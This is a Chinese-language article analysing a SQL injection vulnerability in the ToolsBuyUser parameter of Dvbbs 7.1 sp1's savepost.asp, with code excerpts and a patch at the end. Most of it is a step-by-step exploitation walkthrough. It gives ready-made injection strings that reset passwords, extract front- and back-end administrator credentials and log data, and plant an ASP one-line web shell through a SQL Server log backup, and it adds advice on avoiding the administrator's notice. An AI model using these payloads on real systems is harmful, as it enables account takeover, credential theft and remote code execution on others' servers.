Dvbbs7.1 sp1 SQL版savepost.asp注入漏洞分析、利用及防范

所属分类: 实用技巧 / 漏洞研究 阅读数: 833
收藏 0 赞 0 分享
一、概述
    漏洞介绍:
http://coolersky.com/leak/programme/bbs/2006/0515/515.html
    前几天就听Hak_Ban说有人把dvbbs7的一个注入漏洞给发布出去了,一直也没时间看看,下午跟Edward要了个链接看了看:
http://www.eviloctal.com/forum/read.php?tid=22074
    本站转贴为:
http://coolersky.com/articles/hack/analysis/programme/2006/0515/238.html
    看了看风尘浪子的分析,觉得已经分析的挺明白的了,不过群里还是有几个朋友搞不太明白,索性在本地搭环境测试一下漏洞,感谢keng提供程序,呵呵,实在懒得去网上找。
    二、漏洞分析
    既然是savepost.asp程序的问题,那就打开改文件,风尘浪子已经提到是ToolsBuyUser参数过滤不足,那就看这个变量。
    32行,定义变量:
Private GetPostType,ToMoney,UseTools,ToolsBuyUser,GetMoneyType,Tools_UseTools,Tools_LastPostTime,ToolsInfo,ToolsSetting
    111行,置空
ToolsBuyUser = ""
    120行,在参数GetPostType为0时,赋值
ToolsBuyUser = "0|||$SendMoney"
    123行,在参数GetPostType为1时,赋值
ToolsBuyUser = "0|||$GetMoney"
    139行,在参数GetPostType为2时,赋值
ToolsBuyUser = "0@@@"&Buy_Orders&"@@@"&Buy_VIPType&"@@@"&Buy_UserList&"|||$PayMoney|||"
    747行,定义sql
SQL="insert into "&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType) values ("&Dvbbs.boardid&","&ParentID&",'"&username&"','"&topic&"','"&Content&"','"&DateTimeStr&"','"&Dvbbs.strlength(Content)&"',"&RootID&","&ilayer&","&iorders&",'"&Dvbbs.UserTrueIP&"','"&Expression(1)&"',"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",'"&UbblistBody&"',"&ToMoney&",'"&UseTools&"','"&ToolsBuyUser&"',"&GetMoneyType&")"
    745行,执行sql
Dvbbs.Execute(sql)
    我们看到,在整个获得数据到提交的过程中,没有对ToolsBuyUser参数进行安全过滤,导致了sql注入漏洞。
    三、漏洞利用
    1、注册用户coolersky
    2、选择发表新话题
    3、在“选择帖子类型”中选中“论坛交易帖设置”
 
    4、在“可购买用户名单限制:”中写入
'将自身用户口令修改为123456
coolersky',0);update dv_user set userpassword='49ba59abbe56e057' where username='coolersky';--
    修改口令后,重新登陆论坛,若使用123456登陆成功,则说明该漏洞尚未修补。
    5、获得前台管理员用户名和口令,分别放在自定义头像和签名中,查看用户coolersky的基本资料即可看到。
coolersky',0);update dv_user set userface=(select top 1 username from dv_user where userclass='管理员'),usersign=(select top 1 userpassword from dv_user where userclass='管理员') where username='coolersky';--
    6、获得后台管理员用户名和口令
coolersky',0);update dv_user set userface=(select top 1 username from dv_admin),usersign=(select top 1 password from dv_admin) where username='coolersky';--
    7、通过日志查看后台管理密码
coolersky',0);update dv_user set usersign=(select l_content from dv_log where l_content like '%password2%') where username='coolersky';--
    8、获得数据库名称
coolersky',0);update dv_user set userface=(select db_name())where username='coolersky';--
    9、日志差异备份webshell
'替换dbname为上一步获得的数据库名称,日志差异备份要db_owner权限!
'替换d:\web\dvbbs7\为当前论坛物理路径,怎么获得别来问我!
coolersky',0);alter database dbname set RECOVERY FULL;create table temptt (a image);backup log dbname to disk = 'c:\acool_back' with init;insert into temptt (a) values ('<%execute request("l")%>');backup log dbname to disk = 'd:\web\dvbbs7\temptt.asp';drop table temptt;alter database dbname set RECOVERY SIMPLE;--
    或者
coolersky',0);alter database dbname set RECOVERY FULL;create table temptt (a image);backup log dbname to disk = 'c:\acool_back' with init;insert into temptt (a) values (0x273C2565786563757465207265717565737428226C2229253E27);backup log dbname to disk = ''d:\web\dvbbs7\temptt.asp';drop table temptt;alter database dbname set RECOVERY SIMPLE;--
    使用最小asp木马客户端连接即可!
    10、直接修改管理员口令
    通过5、6、7三个步骤可以获得管理员前后台的用户名和密码,至少密码是16位md5,我们可以通过网络查询或者暴力破解获得管理员口令来登录前后台,但是也很可能没办法破解出口令。
    而如果也无法获得论坛的物理路径,那么只好通过修改管理员口令来实现了,当然能不改管理员口令还是尽量避免修改,否则马上就被管理员知道被入侵了。
    (1)获得前台管理员用户名:
coolersky',0);update dv_user set userface=(select top 1 username from dv_user where userclass='管理员')where username='test';--
    (2)修改前台管理员口令:
'假设我们获得前台管理员用户名为admin,修改密码为123456
coolersky',0);update dv_user set userpassword='49ba59abbe56e057' where username='admin';--
    (3)获得后台管理员用户名:
coolersky',0);update dv_user set userface=(select top 1 username from dv_admin)where username='test';--
    (4)修改后台管理员口令:
'假设我们获得后台管理员用户名为admin,修改密码为123456
coolersky',0);update dv_admin set password='49ba59abbe56e057' where username='admin';--
    (5)登录前台上传mdb构造过的asp一句话后门,后台back为asp或asa文件即可,如何操作不在本文描述过程中。
    通过以上操作,只要服务器支持多语句,那么我们还可以对数据库进行更多操作。
    四、漏洞修补
    1、从dvbbs下载最新补丁
http://bbs.dvbbs.net/dispbbs.asp?boardID=8&ID=1187367&page=1
    2、打开savepost.asp文件,将747行
SQL="insert into "&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType) values ("&Dvbbs.boardid&","&ParentID&",'"&username&"','"&topic&"','"&Content&"','"&DateTimeStr&"','"&Dvbbs.strlength(Content)&"',"&RootID&","&ilayer&","&iorders&",'"&Dvbbs.UserTrueIP&"','"&Expression(1)&"',"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",'"&UbblistBody&"',"&ToMoney&",'"&UseTools&"','"&ToolsBuyUser&"',"&GetMoneyType&")"
    修改为:
SQL="insert into "&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType) values ("&Dvbbs.boardid&","&ParentID&",'"&username&"','"&topic&"','"&Content&"','"&DateTimeStr&"','"&Dvbbs.strlength(Content)&"',"&RootID&","&ilayer&","&iorders&",'"&Dvbbs.UserTrueIP&"','"&Expression(1)&"',"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",'"&UbblistBody&"',"&ToMoney&",'"&UseTools&"','"&dvbbs.checkstr(ToolsBuyUser)&"',"&GetMoneyType&")"
    即用dvbbs.checkstr函数过滤ToolsBuyUser内容。
更多精彩内容其他人还在看

MySQL Proxy(解决注入的另一思路)

MySQL Proxy的主要作用是用来做负载均衡,数据库读写分离的。但是需要注意的是,MySQL Proxy还有个强大的扩展功能就是支持Lua语言——魔兽也是使用了Lua来开发游戏,据我所知网易也是——可以参见云风的博客。
收藏 0 赞 0 分享

phpwind管理权限泄露漏洞利用程序发布

phpwind是国内使用非常广泛的一款程序,由于在程序设计上存在错误,导致任何人可以取得前台管理员及斑主权限,做删除帖子等任意操作
收藏 0 赞 0 分享

分析NtGodMode.exe干了什么

NtGodMode.exe是通过打开LSASS.EXE进程msv1_0.dll模块空间里,然后搜索特征值8B 4D 0C 49之后第1个32 C0 这个32C0汇编码xor al,al,修改为B001对应汇编码mov al,1 为什么mov al,1,以后就不用密码了?
收藏 0 赞 0 分享

伯乐asp收信程序漏洞及利用程序利用代码

信息来源:邪恶八进制信息安全团队(www.eviloctal.com) 文章作者:fhod 发这个也是因为看了asm所写的新概念收信程序 箱子永远不会被黑
收藏 0 赞 0 分享

字符集导致的浏览器跨站脚本攻击分析

前言:这种利用类型的攻击早在06年就被安全研究人员指出,不过一直没有在国内重视。而由于我们国内大部分站点正是这种有漏洞的字符集,所以影响还是比较大,希望各大站快速修复。可以看看http://applesoup.googlepages.com/。
收藏 0 赞 0 分享

Search Engine XSS Worm

作者:余弦 来源:0x37 Security 有挑战才有意思,为了诞生个Search Engine XSS Worm,这里拿yeeyan做实验了。
收藏 0 赞 0 分享

CPU也有远程攻击漏洞 英特尔匆匆修补

BEAREYES.COM 北京 [ 翻译 ] 作者:1000years 日期:2008年08月12日
收藏 0 赞 0 分享

暂时屏蔽 IE 最新 0day的4 种方法

IE 最新 0day 波及了微软全线系统居然在2008年12月14日8:00:15还没有出补丁!我查看微软站点,好像有几个手动操作的办法暂时屏蔽。
收藏 0 赞 0 分享

Sql Server 应用程序的高级Sql注入第1/2页

这篇文章讨论常用的"sql注入"技术的细节,应用于流行的Ms IIS/ASP/SQL-Server平台。这里探讨有关这种攻击各种可以注入程序访问数据和数据库防范的方法。
收藏 0 赞 0 分享

ASP木马后门新思路

ASP木马后门新思路
收藏 0 赞 0 分享
查看更多